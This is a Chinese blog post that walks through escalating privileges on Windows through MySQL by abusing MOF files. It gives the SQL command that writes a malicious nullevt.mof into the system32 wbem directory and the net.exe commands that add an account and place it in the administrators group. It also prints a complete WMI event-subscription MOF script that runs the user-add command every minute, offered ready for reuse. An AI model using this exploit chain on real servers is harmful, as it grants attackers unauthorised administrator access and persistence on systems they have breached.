mof提权原理及实现

关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。下面简单演示下 mof 提权的过程!

首先将我们的 mof 提权脚本上传到可读写目录下,这里就不做演示了。接着我们选择 MySQL 提权项,输入我们已经获取的MySQL 账户信息,并执行如下命令:

select load_file(“C:/php/APMServ5.2.6/www/htdocs/1.mof”) into dumpfile “c:/windows/system32/wbem/mof/nullevt.mof”

该命令,即是把我们的提权命令导入到 nullevt.mof 。

20160813085602

为了更高的成功率,我们必须分开两次导入该脚本!第一次为用户添加命令如下图:

net.exe user secist 123 /add

20160813090027

第二次为用户提权命令如下图:

net.exe localgroup administrators secist /add

20160813090145

我们打开 cmd 可以看到 secist 账户已经成功提升到管理员组。

20160813090230
最后,我将提权脚本贴出来如下:

#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

posted @ 2017-03-24 22:32  admin-神风  阅读(5877)  评论(0编辑  收藏  举报